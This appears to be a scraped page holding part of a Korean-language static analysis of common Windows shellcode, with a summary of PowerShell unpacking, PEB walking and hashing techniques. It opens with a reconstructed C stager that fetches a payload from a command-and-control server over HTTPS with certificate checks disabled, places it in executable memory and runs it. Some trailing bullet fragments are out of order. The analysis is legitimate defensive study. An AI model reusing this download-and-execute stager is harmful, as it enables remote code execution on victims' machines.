// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## 요약
살펴볼 매우 흔한 셸코드이지만, 이를 정적으로 분석하는 것은 학습에 도움이 됩니다:
- 우리는 32비트 셸코드를 얻기 위해 여러 계층의 PowerShell 코드를 추출했습니다.
- 셸코드 분석 과정에서 Windows의 `PEB`와 셸코딩 전략에 대해 논의했습니다.
- 리버스 해시 조회 도구를 만들었습니다 (이 저장소의 `get_hash.py` 참조).
- `push-ret` 및 `call-pop`과 같은 일반적인 셸코드 기법에 대해 논의했습니다.
- `PE` 파일 구조의 일부를 다뤘습니다.

감사합니다,

Jonathan Bar Or (https://jonathanbaror.com)
도구 다운로드
  • $var_code의 페이로드(base64 디코딩 후 상수 35로 XOR된 것)는 버퍼에 복사된 다음 실행됩니다($var_runme 델리게이트로 수행).
  • 코드의 마지막 부분에 주목하세요. 포인터 크기가 8인지 확인합니다. 8이라면(즉, 64비트 프로세스) 새로운 32비트 작업으로 실행됩니다. 그렇지 않으면 단순히 $DoIt을 실행합니다.
  • eax
    jne
    wininet.dll!InternetErrorDlg
  • 상수 0x2f00은 ERROR_INTERNET_FORCE_RETRY이며, InternetErrorDlg의 결과를 이 값과 비교합니다.